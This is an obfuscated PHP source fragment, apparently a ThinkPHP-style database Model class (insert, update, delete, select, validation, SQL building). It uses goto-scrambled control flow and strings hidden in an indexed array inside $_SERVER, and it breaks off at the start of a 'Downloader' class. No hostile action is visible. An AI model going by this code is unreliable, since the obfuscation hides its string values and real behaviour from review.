(!class_exists($f޻)) { think_exception($f޻ . think_lang($e궩[247])); } $this->_extModel = new $f޻($this->name); if (!empty($E)) { foreach ($E as $Eס) { $this->_extModel->setProperty($Eס, $this->{$Eס}); } } return $this->_extModel; } public function __set($B塙, $A) { $this->data[$B塙] = $A; } public function __get($b) { return isset($this->data[$b]) ? $this->data[$b] : null; } public function __isset($cںų) { return isset($this->data[$cںų]); } public function __unset($Bꖷ) { unset($this->data[$Bꖷ]); } public function __call($Bη, $Cل) { $F䑘 =& $_SERVER[ȦÆ]; if (in_array(strtolower($Bη), $this->methods, !0)) { $this->options[strtolower($Bη)] = $Cل[0]; return $this; } elseif (in_array(strtolower($Bη), array($F䑘[248], $F䑘[249], $F䑘[250], $F䑘[251], $F䑘[252]), !0)) { $F = isset($Cل[0]) ? $Cل[0] : $F䑘[182]; $F = $this->db->parseKey($F); return $this->getField(strtoupper($Bη) . $F䑘[253] . $F . $F䑘[254] . $Bη, $F䑘[248]); } elseif (strtolower(substr($Bη, 0, 5)) == $F䑘[255]) { $F = think_parse_name(substr($Bη, 5)); $f·[$F] = $Cل[0]; return $this->where($f·)->find(); } elseif (strtolower(substr($Bη, 0, 10)) == $F䑘[256]) { $f翫ڰ = think_parse_name(substr($Bη, 10)); $f·[$f翫ڰ] = $Cل[0]; return $this->where($f·)->getField($Cل[1]); } elseif (isset($this->_scope[$Bη])) { return $this->scope($Bη, $Cل[0]); } elseif (method_exists($this, $Bη)) { array_unshift($Cل, $Bη); return call_user_func_array(array($this, $F䑘[257]), $Cل); } else { return call_user_func_array(array(parent, $Bη), $Cل); } } protected function call() { goto Bŏח; Bŏח: $cݺτ =& $_SERVER[ȦÆ]; $e = func_get_args(); $FѢ = array_shift($e); goto e΍; e΍: $Aܱۅ = $FѢ; if (is_array($FѢ)) { $Aܱۅ = $FѢ[1]; $FѢ = $FѢ[0]; } $Eƞ = count($e) - 1; goto c; C: $EŲ = call_user_func_array(array($this, $FѢ), $e); if (method_exists($this, $cݺτ[261])) { $DŘ = call_user_func_array(array($this, $cݺτ[262]), array($Aܱۅ, $e, $EŲ)); if ($DŘ) { return $DŘ; } } return $EŲ; goto d; c: if (isset($e[$Eƞ]) && $e[$Eƞ] === $FѢ) { think_exception(__CLASS__ . $cݺτ[4] . $FѢ . think_lang($cݺτ[258])); return; } $e[] = $FѢ; if (method_exists($this, $cݺτ[259])) { $DŘ = call_user_func_array(array($this, $cݺτ[260]), array($Aܱۅ, $e)); if (!is_null($DŘ) && $DŘ !== !1) { return $DŘ; } } goto C; d: } protected function _initialize() { } protected function _facade($d֮ҥ) { $E =& $_SERVER[ȦÆ]; if (!empty($this->fields)) { foreach ($d֮ҥ as $b => $bҎ) { if (!in_array($b, $this->fields, !0)) { unset($d֮ҥ[$b]); } elseif (is_scalar($bҎ)) { $this->_parseType($d֮ҥ, $b); } } } if (!empty($this->options[$E[263]])) { $d֮ҥ = array_map($this->options[$E[263]], $d֮ҥ); unset($this->options[$E[263]]); } $this->_beforeWrite($d֮ҥ); return $d֮ҥ; } protected function _beforeWrite(&$a⊙) { } public function add($d巌 = '', $cDz = array(), $Fۑ = false) { goto a£; FΣԻ: return $B; goto e釘ф; a£: if (empty($d巌)) { if (!empty($this->data)) { $d巌 = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[ȦÆ][264]); return !1; } } $cDz = $this->_parseOptions($cDz); $d巌 = $this->_facade($d巌); goto A蚋; A蚋: if (!1 === $this->_beforeInsert($d巌, $cDz)) { return !1; } $B = $this->db->insert($d巌, $cDz, $Fۑ); if (!1 !== $B) { $d = $this->getLastInsID(); if ($d) { $d巌[$this->getPk()] = $d; $this->_after_insert($d巌, $cDz); return $d; } $this->_after_insert($d巌, $cDz); } goto FΣԻ; e釘ф: } protected function _beforeInsert(&$döIJ”, $f) { } protected function _after_insert($eʃ뜧, $DҎ) { } public function addAll($Dǒ, $A颼ۆ = array(), $Bۄ = false) { goto DًٔҲ; E餷: foreach ($Dǒ as $dܛ => $d⭞) { $Dǒ[$dܛ] = $this->_facade($d⭞); } if (method_exists($this->db, $cֶܨ[265])) { $b䑐 = $this->db->insertAll($Dǒ, $A颼ۆ, $Bۄ); } else { $this->startTrans(); foreach ($Dǒ as $dܛ => $d⭞) { $b䑐 = $this->db->insert($d⭞, $A颼ۆ, $Bۄ); } $this->commit(); } if (!1 !== $b䑐) { $dć = $this->getLastInsID(); if ($dć) { return $dć; } } goto c; c: return $b䑐; goto aÅ; DًٔҲ: $cֶܨ =& $_SERVER[ȦÆ]; if (empty($Dǒ)) { $this->error = think_lang($cֶܨ[264]); return !1; } $A颼ۆ = $this->_parseOptions($A颼ۆ); goto E餷; aÅ: } public function selectAdd($e麧 = '', $C˥ = '', $c٩ = array()) { $ȅў =& $_SERVER[ȦÆ]; $c٩ = $this->_parseOptions($c٩); if (!1 === ($Aڅ = $this->db->selectInsert($e麧 ? $e麧 : $c٩[$ȅў[266]], $C˥ ? $C˥ : $this->getTableName(), $c٩))) { $this->error = think_lang($ȅў[267]); return !1; } else { return $Aڅ; } } public function save($dĚ = '', $d = array()) { goto A; BȪ: $d = $this->_parseOptions($d); $dבܣ = $this->getPk(); if (!isset($d[$cٓ[268]])) { if (isset($dĚ[$dבܣ])) { $b㳙[$dבܣ] = $dĚ[$dבܣ]; $d[$cٓ[268]] = $b㳙; unset($dĚ[$dבܣ]); } else { $this->error = think_lang($cٓ[267]); return !1; } } goto dخ; dخ: if (is_array($d[$cٓ[268]]) && isset($d[$cٓ[268]][$dבܣ])) { $c = $d[$cٓ[268]][$dבܣ]; } if (!1 === $this->_beforeUpdate($dĚ, $d)) { return !1; } $Eʣޙ = $this->db->update($dĚ, $d); goto dٛʂۥ; dٛʂۥ: if (!1 !== $Eʣޙ) { if (isset($c)) { $dĚ[$dבܣ] = $c; } $this->_afterUpdate($dĚ, $d); } return $Eʣޙ; goto B; A: $cٓ =& $_SERVER[ȦÆ]; if (empty($dĚ)) { if (!empty($this->data)) { $dĚ = $this->data; $this->data = array(); } else { $this->error = think_lang($cٓ[264]); return !1; } } $dĚ = $this->_facade($dĚ); goto BȪ; B: } protected function _beforeUpdate(&$cͬҪ, $A) { } protected function _afterUpdate($AԘ֔, $Dן) { } public function delete($bڋ䌬 = array()) { goto f΍; f΍: $A =& $_SERVER[ȦÆ]; if (empty($bڋ䌬) && empty($this->options[$A[268]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $aĖ = $this->getPk(); goto d΅و; a鏐: $FԲ = $this->db->delete($bڋ䌬); if (!1 !== $FԲ) { $a졵 = array(); if (isset($dҾ)) { $a졵[$aĖ] = $dҾ; } $this->_after_delete($a졵, $bڋ䌬); } return $FԲ; goto F; d΅و: if (is_numeric($bڋ䌬) || is_string($bڋ䌬)) { if (strpos($bڋ䌬, $A[57])) { $c[$aĖ] = array($A[269], $bڋ䌬); } else { $c[$aĖ] = $bڋ䌬; } $this->options[$A[268]] = $c; } $bڋ䌬 = $this->_parseOptions(); if (is_array($bڋ䌬[$A[268]]) && isset($bڋ䌬[$A[268]][$aĖ])) { $dҾ = $bڋ䌬[$A[268]][$aĖ]; } goto a鏐; F: } protected function _after_delete($f, $b) { } public function select($e꽊 = array()) { goto Eҿ; Dڊ: $this->_afterSelect($C㔨, $e꽊); return $C㔨; goto E; A: $C㔨 = $this->db->select($e꽊); if (!1 === $C㔨) { return !1; } if (empty($C㔨)) { return null; } goto Dڊ; Eҿ: $BܜǪ =& $_SERVER[ȦÆ]; if (is_string($e꽊) || is_numeric($e꽊)) { $B = $this->getPk(); if (strpos($e꽊, $BܜǪ[57])) { $cب[$B] = array($BܜǪ[269], $e꽊); } else { $cب[$B] = $e꽊; } $this->options[$BܜǪ[268]] = $cب; } elseif (!1 === $e꽊) { $e꽊 = $this->_parseOptions(); return $BܜǪ[270] . $this->db->buildSelectSql($e꽊) . $BܜǪ[271]; } $e꽊 = $this->_parseOptions(); goto A; E: } protected function _afterSelect(&$d뗷, $eބ) { } public function buildSql($Cƒ = array()) { $Bȼ =& $_SERVER[ȦÆ]; $Cƒ = $this->_parseOptions($Cƒ); return $Bȼ[270] . $this->db->buildSelectSql($Cƒ) . $Bȼ[271]; } public function optionsValue($bѭ = null) { if (is_null($bѭ)) { return $this->options; } elseif (is_array($bѭ)) { $this->options = array_merge($this->options, $bѭ); } } protected function _parseOptions($A = array()) { goto E㥡; E㥡: $a龼 =& $_SERVER[ȦÆ]; if (is_array($A)) { $A = array_merge($this->options, $A); } $this->options = array(); goto dŽ; e샩: if (isset($A[$a龼[268]]) && is_array($A[$a龼[268]]) && !empty($BҺþ) && !isset($A[$a龼[275]]) && !isset($A[$a龼[272]])) { foreach ($A[$a龼[268]] as $aՖ => $cǵ) { $aՖ = trim($aՖ); if (in_array($aՖ, $BҺþ, !0)) { if (is_scalar($cǵ)) { $this->_parseType($A[$a龼[268]], $aՖ); } } elseif (!is_numeric($aՖ) && $a龼[80] != substr($aՖ, 0, 1) && !1 === strpos($aՖ, $a龼[101]) && !1 === strpos($aՖ, $a龼[253]) && !1 === strpos($aՖ, $a龼[276]) && !1 === strpos($aՖ, $a龼[277])) { unset($A[$a龼[268]][$aՖ]); } } } $this->_options_filter($A); return $A; goto C; dŽ: if (!isset($A[$a龼[272]])) { $A[$a龼[272]] = $this->getTableName(); $BҺþ = $this->fields; } else { $BҺþ = $this->getDbFields(); } if (!empty($A[$a龼[273]])) { $A[$a龼[272]] .= $a龼[60] . $A[$a龼[273]]; } $A[$a龼[274]] = $this->name; goto e샩; C: } protected function _options_filter(&$d輿) { } protected function _parseType(&$Eǝ, $d̜) { $aʍ =& $_SERVER[ȦÆ]; if (empty($this->options[$aʍ[278]][$aʍ[4] . $d̜])) { $Aɹ샂 = strtolower($this->fields[$aʍ[245]][$d̜]); if (!1 !== strpos($Aɹ샂, $aʍ[279])) { } elseif (!1 === strpos($Aɹ샂, $aʍ[280]) && !1 !== strpos($Aɹ샂, $aʍ[281])) { $Eǝ[$d̜] = intval($Eǝ[$d̜]); } elseif (!1 !== strpos($Aɹ샂, $aʍ[282]) || !1 !== strpos($Aɹ샂, $aʍ[283])) { $Eǝ[$d̜] = floatval($Eǝ[$d̜]); } elseif (!1 !== strpos($Aɹ샂, $aʍ[284])) { $Eǝ[$d̜] = (bool) $Eǝ[$d̜]; } } } public function find($dƎʻ = array()) { goto e; FʘƐ: if (!empty($this->options[$eݫƹ[286]])) { return $this->returnResult($this->data, $this->options[$eݫƹ[286]]); } return $this->data; goto bХ; f: if (empty($Eij)) { return null; } $this->data = $Eij[0]; $this->_afterFind($this->data, $dƎʻ); goto FʘƐ; eۡ: $dƎʻ = $this->_parseOptions(); $Eij = $this->db->select($dƎʻ); if (!1 === $Eij) { return !1; } goto f; e: $eݫƹ =& $_SERVER[ȦÆ]; if (is_numeric($dƎʻ) || is_string($dƎʻ)) { $aƏ[$this->getPk()] = intval($dƎʻ); $this->options[$eݫƹ[268]] = $aƏ; } $this->options[$eݫƹ[285]] = 1; goto eۡ; bХ: } protected function _afterFind(&$a, $d鬮) { } protected function returnResult($B䒝ϣ, $Bޫ = '') { $c =& $_SERVER[ȦÆ]; if ($Bޫ) { if (is_callable($Bޫ)) { return call_user_func($Bޫ, $B䒝ϣ); } switch (strtolower($Bޫ)) { case $c[287]: return json_encode($B䒝ϣ); case $c[288]: return xml_encode($B䒝ϣ); } } return $B䒝ϣ; } public function parseFieldsMap($cڒٺ, $a = 1) { if (!empty($this->_map)) { foreach ($this->_map as $f => $Aרݒ) { if ($a == 1) { if (isset($cڒٺ[$Aרݒ])) { $cڒٺ[$f] = $cڒٺ[$Aרݒ]; unset($cڒٺ[$Aרݒ]); } } else { if (isset($cڒٺ[$f])) { $cڒٺ[$Aרݒ] = $cڒٺ[$f]; unset($cڒٺ[$f]); } } } } return $cڒٺ; } public function setField($b죦, $cƎ֒ƙ = '') { if (is_array($b죦)) { $f†̗ = $b죦; } else { $f†̗[$b죦] = $cƎ֒ƙ; } return $this->save($f†̗); } public function setAdd($a, $Eͦ = 1) { $bˉ =& $_SERVER[ȦÆ]; $EժˊϹ = $a . $bˉ[289] . $Eͦ; if ($Eͦ < 0) { $EժˊϹ = $a . $Eͦ; } return $this->setField($a, array($bˉ[290], $EժˊϹ)); } public function getField($e֞, $cĆ = null) { $AגĄ =& $_SERVER[ȦÆ]; $D߂Š[$AגĄ[266]] = $e֞; $D߂Š = $this->_parseOptions($D߂Š); $e֞ = trim($e֞); if (strpos($e֞, $AגĄ[57])) { if (!isset($D߂Š[$AגĄ[285]])) { $D߂Š[$AגĄ[285]] = is_numeric($cĆ) ? $cĆ : $AגĄ[43]; } $a¡ = $this->db->select($D߂Š); if (!empty($a¡)) { goto eԌ; a: $B׿ = array_shift($e֞); $aɸ = array(); $fЯˇ = count($a); goto a󴓟ٶ; eԌ: $a = explode($AגĄ[57], $e֞); $e֞ = array_keys($a¡[0]); $Dѧ = array_shift($e֞); goto a; a󴓟ٶ: foreach ($a¡ as $Eݕآ) { $d߆ = $Eݕآ[$Dѧ]; if (2 == $fЯˇ) { $aɸ[$d߆] = $Eݕآ[$B׿]; } else { $aɸ[$d߆] = is_string($cĆ) ? implode($cĆ, $Eݕآ) : $Eݕآ; } } return $aɸ; goto C; C: } } else { if (!0 !== $cĆ) { $D߂Š[$AגĄ[285]] = is_numeric($cĆ) ? $cĆ : 1; } if ($cĆ === $AגĄ[248]) { unset($D߂Š[$AגĄ[285]]); } $Eݕآ = $this->db->select($D߂Š); if (!empty($Eݕآ)) { if ($cĆ === $AגĄ[248]) { return reset($Eݕآ[0]); } if (!0 !== $cĆ && 1 == $D߂Š[$AגĄ[285]]) { return reset($Eݕآ[0]); } foreach ($Eݕآ as $d) { $Bκ[] = $d[$e֞]; } return $Bκ; } } return null; } public function create($b = '', $c = '') { goto Aߔ; Aڶ: if ($this->autoCheckFields) { $F = $this->getDbFields(); foreach ($b as $F => $Cϸ) { if (!in_array($F, $F)) { unset($b[$F]); } elseif (MAGIC_QUOTES_GPC && is_string($Cϸ)) { $b[$F] = stripslashes($Cϸ); } } } $this->autoOperation($b, $c); $this->data = $b; goto BƲޖѮ; BƲޖѮ: return $b; goto A; Aߔ: $DƔ =& $_SERVER[ȦÆ]; if (empty($b)) { $b = $_POST; } elseif (is_object($b)) { $b = get_object_vars($b); } if (empty($b) || !is_array($b)) { $this->error = think_lang($DƔ[264]); return !1; } goto b; Dփ: if (isset($F)) { if (is_string($F)) { $F = explode($DƔ[57], $F); } if (think_config($DƔ[291])) { $F[] = think_config($DƔ[292]); } foreach ($b as $F => $Cϸ) { if (!in_array($F, $F)) { unset($b[$F]); } } } if (!$this->autoValidation($b, $c)) { return !1; } if (!$this->autoCheckToken($b)) { $this->error = think_lang($DƔ[293]); return !1; } goto Aڶ; b: $b = $this->parseFieldsMap($b, 0); $c = $c ? $c : (!empty($b[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$DƔ[266]])) { $F = $this->options[$DƔ[266]]; unset($this->options[$DƔ[266]]); } elseif ($c == THINK_MODEL_INSERT && isset($this->insertFields)) { $F = $this->insertFields; } elseif ($c == THINK_MODEL_UPDATE && isset($this->updateFields)) { $F = $this->updateFields; } goto Dփ; A: } public function autoCheckToken($F뭰) { $eŽ =& $_SERVER[ȦÆ]; if (isset($this->options[$eŽ[294]]) && !$this->options[$eŽ[294]]) { return !0; } if (think_config($eŽ[291])) { $aףώ = think_config($eŽ[292]); if (!isset($F뭰[$aףώ]) || Session::get($aףώ)) { return !1; } list($C俲, $c) = explode($eŽ[80], $F뭰[$aףώ]); if ($c && Session::get($aףώ . $eŽ[101] . $C俲) === $c) { Session::remove($aףώ . $eŽ[101] . $C俲); return !0; } if (think_config($eŽ[295])) { Session::remove($aףώ . $eŽ[101] . $C俲); } return !1; } return !0; } public function regex($fҒ, $a) { $c߸˼ =& $_SERVER[ȦÆ]; $Adž = array($c߸˼[296] => $c߸˼[297], $c߸˼[298] => $c߸˼[299], $c߸˼[300] => $c߸˼[301], $c߸˼[302] => $c߸˼[303], $c߸˼[304] => $c߸˼[305], $c߸˼[306] => $c߸˼[307], $c߸˼[308] => $c߸˼[309], $c߸˼[283] => $c߸˼[310], $c߸˼[311] => $c߸˼[312]); if (isset($Adž[strtolower($a)])) { $a = $Adž[strtolower($a)]; } return preg_match($a, $fҒ) === 1; } private function autoOperation(&$aޅ, $E̙ӈ) { $b䂗 =& $_SERVER[ȦÆ]; if (!empty($this->options[$b䂗[313]])) { $AѮ = $this->options[$b䂗[313]]; unset($this->options[$b䂗[313]]); } elseif (!empty($this->_auto)) { $AѮ = $this->_auto; } if (isset($AѮ)) { foreach ($AѮ as $b¹) { if (empty($b¹[2])) { $b¹[2] = THINK_MODEL_INSERT; } if ($E̙ӈ == $b¹[2] || $b¹[2] == THINK_MODEL_BOTH) { switch (trim($b¹[3])) { case $b䂗[314]: case $b䂗[315]: $b = isset($b¹[4]) ? (array) $b¹[4] : array(); if (isset($aޅ[$b¹[0]])) { array_unshift($b, $aޅ[$b¹[0]]); } if ($b䂗[314] == $b¹[3]) { $aޅ[$b¹[0]] = call_user_func_array($b¹[1], $b); } else { $aޅ[$b¹[0]] = call_user_func_array(array(&$this, $b¹[1]), $b); } break; case $b䂗[266]: $aޅ[$b¹[0]] = $aޅ[$b¹[1]]; break; case $b䂗[316]: if ($b䂗[43] === $aޅ[$b¹[0]]) { unset($aޅ[$b¹[0]]); } break; case $b䂗[317]: default: $aޅ[$b¹[0]] = $b¹[1]; } if (!1 === $aޅ[$b¹[0]]) { unset($aޅ[$b¹[0]]); } } } } return $aޅ; } protected function autoValidation($B, $fټߣ) { $d =& $_SERVER[ȦÆ]; if (!empty($this->options[$d[318]])) { $C񜕺 = $this->options[$d[318]]; unset($this->options[$d[318]]); } elseif (!empty($this->_validate)) { $C񜕺 = $this->_validate; } if (isset($C񜕺)) { if ($this->patchValidate) { $this->error = array(); } foreach ($C񜕺 as $D܋ => $A琡) { if (empty($A琡[5]) || $A琡[5] == THINK_MODEL_BOTH || $A琡[5] == $fټߣ) { if (0 == strpos($A琡[2], $d[319]) && strpos($A琡[2], $d[320])) { $A琡[2] = think_lang(substr($A琡[2], 2, -1)); } $A琡[3] = isset($A琡[3]) ? $A琡[3] : THINK_EXISTS_VALIDATE; $A琡[4] = isset($A琡[4]) ? $A琡[4] : $d[321]; switch ($A琡[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($B, $A琡)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($d[43] != trim($B[$A琡[0]])) { if (!1 === $this->_validationField($B, $A琡)) { return !1; } } break; default: if (isset($B[$A琡[0]])) { if (!1 === $this->_validationField($B, $A琡)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($bǣ, $fő) { if (!1 === $this->_validationFieldItem($bǣ, $fő)) { if ($this->patchValidate) { $this->error[$fő[0]] = $fő[2]; } else { $this->error = $fő[2]; return !1; } } return; } protected function _validationFieldItem($a񂋽, $C股) { $D =& $_SERVER[ȦÆ]; switch (strtolower(trim($C股[4]))) { case $D[314]: case $D[315]: $a = isset($C股[6]) ? (array) $C股[6] : array(); if (is_string($C股[0]) && strpos($C股[0], $D[57])) { $C股[0] = explode($D[57], $C股[0]); } if (is_array($C股[0])) { foreach ($C股[0] as $FԚ) { $eܛ[$FԚ] = $a񂋽[$FԚ]; } array_unshift($a, $eܛ); } else { array_unshift($a, $a񂋽[$C股[0]]); } if ($D[314] == $C股[4]) { return call_user_func_array($C股[1], $a); } else { return call_user_func_array(array(&$this, $C股[1]), $a); } case $D[322]: return $a񂋽[$C股[0]] == $a񂋽[$C股[1]]; case $D[323]: if (is_string($C股[0]) && strpos($C股[0], $D[57])) { $C股[0] = explode($D[57], $C股[0]); } $bנŎ = array(); if (is_array($C股[0])) { foreach ($C股[0] as $FԚ) { $bנŎ[$FԚ] = $a񂋽[$FԚ]; } } else { $bנŎ[$C股[0]] = $a񂋽[$C股[0]]; } if (!empty($a񂋽[$this->getPk()])) { $bנŎ[$this->getPk()] = array($D[324], $a񂋽[$this->getPk()]); } if ($this->where($bנŎ)->find()) { return !1; } return !0; default: return $this->check($a񂋽[$C股[0]], $C股[1], $C股[4]); } } public function check($Dʸҵ, $c, $f鐯 = "\162\145\x67\x65\x78") { $eʯ =& $_SERVER[ȦÆ]; $f鐯 = strtolower(trim($f鐯)); switch ($f鐯) { case $eʯ[17]: case $eʯ[325]: $D = is_array($c) ? $c : explode($eʯ[57], $c); return $f鐯 == $eʯ[17] ? in_array($Dʸҵ, $D) : !in_array($Dʸҵ, $D); case $eʯ[326]: case $eʯ[327]: if (is_array($c)) { $a = $c[0]; $aˤ = $c[1]; } else { list($a, $aˤ) = explode($eʯ[57], $c); } return $f鐯 == $eʯ[326] ? $Dʸҵ >= $a && $Dʸҵ <= $aˤ : $Dʸҵ < $a || $Dʸҵ > $aˤ; case $eʯ[328]: case $eʯ[329]: return $f鐯 == $eʯ[328] ? $Dʸҵ == $c : $Dʸҵ != $c; case $eʯ[330]: $Cȡ = mb_strlen($Dʸҵ, $eʯ[331]); if (strpos($c, $eʯ[57])) { list($a, $aˤ) = explode($eʯ[57], $c); return $Cȡ >= $a && $Cȡ <= $aˤ; } else { return $Cȡ == $c; } case $eʯ[332]: list($FѮ, $c餹) = explode($eʯ[57], $c); if (!is_numeric($FѮ)) { $FѮ = strtotime($FѮ); } if (!is_numeric($c餹)) { $c餹 = strtotime($c餹); } return NOW_TIME >= $FѮ && NOW_TIME <= $c餹; case $eʯ[333]: return in_array(get_client_ip(), explode($eʯ[57], $c)); case $eʯ[334]: return !in_array(get_client_ip(), explode($eʯ[57], $c)); case $eʯ[321]: default: return $this->regex($Dʸҵ, $c); } } public function query($d, $c = false) { $a޵ܗ =& $_SERVER[ȦÆ]; if (!is_bool($c) && !is_array($c)) { $c = func_get_args(); array_shift($c); } $d = str_replace(array($a޵ܗ[12], $a޵ܗ[335]), $a޵ܗ[60], $d); $d = $this->parseSql($d, $c); return $this->db->query($d); } public function execute($Eੋ܄, $a = false) { if (!is_bool($a) && !is_array($a)) { $a = func_get_args(); array_shift($a); } $Eੋ܄ = $this->parseSql($Eੋ܄, $a); return $this->db->execute($Eੋ܄); } protected function parseSql($Aҍ, $cΆҾ) { $DѱӸ =& $_SERVER[ȦÆ]; if (!0 === $cΆҾ) { $D쟹 = $this->_parseOptions(); $Aҍ = $this->db->parseSql($Aҍ, $D쟹); } elseif (is_array($cΆҾ)) { $cΆҾ = array_map(array($this->db, $DѱӸ[336]), $cΆҾ); $Aҍ = vsprintf($Aҍ, $cΆҾ); } else { $Aҍ = strtr($Aҍ, array($DѱӸ[337] => $this->getTableName(), $DѱӸ[338] => think_config($DѱӸ[237]))); } $this->db->setModel($this->name); return $Aҍ; } public function db($E = '', $a = '', $cՋ = array()) { goto eȅ; fћ: static $F¨ = array(); if (!isset($F¨[$E]) || isset($F¨[$E]) && $a && $fȘ[$E] != $a) { if (!empty($a) && is_string($a) && !1 === strpos($a, $a񘉄[18])) { $a = think_config($a); } $F¨[$E] = Db::getInstance($a); } elseif (NULL === $a) { $F¨[$E]->close(); unset($F¨[$E]); return; } if (!empty($cՋ)) { if (is_string($cՋ)) { parse_str($cՋ, $cՋ); } foreach ($cՋ as $Eߟ礪 => $cމ) { $this->setProperty($Eߟ礪, $cމ); } } goto aÂػ; aÂػ: $fȘ[$E] = $a; $this->db = $F¨[$E]; $this->_after_db(); goto E¡̪; eȅ: $a񘉄 =& $_SERVER[ȦÆ]; if ($a񘉄[43] === $E && $this->db) { return $this->db; } static $fȘ = array(); goto fћ; E¡̪: if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; goto AÃӑ; AÃӑ: } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $Dlj݊ = get_class($this); if ($Dlj݊ == $_SERVER[ȦÆ][339]) { return $this->name; } $this->name = substr($Dlj݊, 0, -5); } return $this->name; } public function getTableName() { $CŃ =& $_SERVER[ȦÆ]; if (empty($this->trueTableName)) { $Fϑ = !empty($this->tablePrefix) ? $this->tablePrefix : $CŃ[43]; if (!empty($this->tableName)) { $Fϑ .= $this->tableName; } else { $Fϑ .= think_parse_name($this->name); } $this->trueTableName = strtolower($Fϑ); } return (!empty($this->dbName) ? $this->dbName . $CŃ[101] : $CŃ[43]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $eۃЏ =& $_SERVER[ȦÆ]; return isset($this->fields[$eۃЏ[244]]) ? $this->fields[$eۃЏ[244]] : $this->pk; } public function getDbFields() { $Fێ =& $_SERVER[ȦÆ]; if (isset($this->options[$Fێ[272]])) { $Eֺܷ = $this->db->getFields($this->options[$Fێ[272]]); return $Eֺܷ ? array_keys($Eֺܷ) : !1; } if ($this->fields) { $Eֺܷ = $this->fields; unset($Eֺܷ[$Fێ[243]], $Eֺܷ[$Fێ[244]], $Eֺܷ[$Fێ[245]], $Eֺܷ[$Fێ[242]]); return $Eֺܷ; } return !1; } public function data($Fվ = '') { $Bع =& $_SERVER[ȦÆ]; if ($Bع[43] === $Fվ && !empty($this->data)) { return $this->data; } if (is_object($Fվ)) { $Fվ = get_object_vars($Fվ); } elseif (is_string($Fվ)) { parse_str($Fվ, $Fվ); } elseif (!is_array($Fվ)) { think_exception(think_lang($Bع[264])); } $this->data = $Fվ; return $this; } public function join($b) { $FȖ =& $_SERVER[ȦÆ]; if (is_array($b)) { $this->options[$FȖ[275]] = $b; } elseif (!empty($b)) { $this->options[$FȖ[275]][] = $b; } return $this; } public function union($dƋ, $c = false) { goto a; D̉: return $this; goto Bƈ; a: $eΏ =& $_SERVER[ȦÆ]; if (empty($dƋ)) { return $this; } if ($c) { $this->options[$eΏ[340]][$eΏ[341]] = !0; } goto B׸; B׸: if (is_object($dƋ)) { $dƋ = get_object_vars($dƋ); } if (is_string($dƋ)) { $aʫ = $dƋ; } elseif (is_array($dƋ)) { if (isset($dƋ[0])) { $this->options[$eΏ[340]] = array_merge($this->options[$eΏ[340]], $dƋ); return $this; } else { $aʫ = $dƋ; } } else { think_exception(think_lang($eΏ[264])); } $this->options[$eΏ[340]][] = $aʫ; goto D̉; Bƈ: } public function cache($eᯱ = true, $A = null, $AӚ = '') { $c˙ =& $_SERVER[ȦÆ]; if (!1 !== $eᯱ) { $this->options[$c˙[342]] = array($c˙[99] => $eᯱ, $c˙[332] => $A, $c˙[39] => $AӚ); } return $this; } public function field($Cܙ, $dԡ = false) { $f =& $_SERVER[ȦÆ]; if (!0 === $Cܙ) { $d = $this->getDbFields(); $Cܙ = $d ? $d : $f[182]; } elseif ($dԡ) { if (is_string($Cܙ)) { $Cܙ = explode($f[57], $Cܙ); } $d = $this->getDbFields(); $Cܙ = $d ? array_diff($d, $Cܙ) : $Cܙ; } $this->options[$f[266]] = $Cܙ; return $this; } public function scope($Eڊ˭ = '', $c춑ԫ = NULL) { $Bŏ׿ =& $_SERVER[ȦÆ]; if ($Bŏ׿[43] === $Eڊ˭) { if (isset($this->_scope[$Bŏ׿[44]])) { $E장 = $this->_scope[$Bŏ׿[44]]; } else { return $this; } } elseif (is_string($Eڊ˭)) { $fᐴ = explode($Bŏ׿[57], $Eڊ˭); $E장 = array(); foreach ($fᐴ as $e) { if (!isset($this->_scope[$e])) { continue; } $E장 = array_merge($E장, $this->_scope[$e]); } if (!empty($c춑ԫ) && is_array($c춑ԫ)) { $E장 = array_merge($E장, $c춑ԫ); } } elseif (is_array($Eڊ˭)) { $E장 = $Eڊ˭; } if (is_array($E장) && !empty($E장)) { $this->options = array_merge($this->options, array_change_key_case($E장)); } return $this; } public function where($b艍, $Aҕ = null) { $f =& $_SERVER[ȦÆ]; if (!is_null($Aҕ) && is_string($b艍)) { if (!is_array($Aҕ)) { $Aҕ = func_get_args(); array_shift($Aҕ); } $Aҕ = array_map(array($this->db, $f[336]), $Aҕ); $b艍 = vsprintf($b艍, $Aҕ); } elseif (is_object($b艍)) { $b艍 = get_object_vars($b艍); } elseif (is_array($b艍)) { foreach ($b艍 as $b => $e䦪) { if ((is_numeric($b) || !$b) && is_string($e䦪)) { think_trace($f[343], $f[43], $f[56]); die; } } } if (is_string($b艍) && $f[43] != $b艍) { $A٢ = array(); $A٢[$f[344]] = $b艍; $b艍 = $A٢; } if (isset($this->options[$f[268]])) { $this->options[$f[268]] = array_merge($this->options[$f[268]], $b艍); } else { $this->options[$f[268]] = $b艍; } return $this; } public function limit($Fə, $A˕鹆 = null) { $A۴ =& $_SERVER[ȦÆ]; $this->options[$A۴[285]] = is_null($A˕鹆) ? $Fə : $Fə . $A۴[57] . $A˕鹆; return $this; } public function page($CߎҜ, $eܩ = null) { $b =& $_SERVER[ȦÆ]; $this->options[$b[345]] = is_null($eܩ) ? $CߎҜ : $CߎҜ . $b[57] . $eܩ; return $this; } public function comment($dՒ) { $this->options[$_SERVER[ȦÆ][346]] = $dՒ; return $this; } public function setProperty($dɓ, $b) { if (property_exists($this, $dɓ)) { $this->{$dɓ} = $b; } return $this; } } goto E; A: class Downloader { static function start($D, $Fᯫ, $B䂇ւ = 10) { goto B؃; BîѴ: $fʛŵ = $Fᯫ . $eȋَ[1486]; if (is_array($D)) { $Eƥѫ = $D; } else { $Eƥѫ = url_header($D); } $D = $Eƥѫ[$eȋَ[300]]; 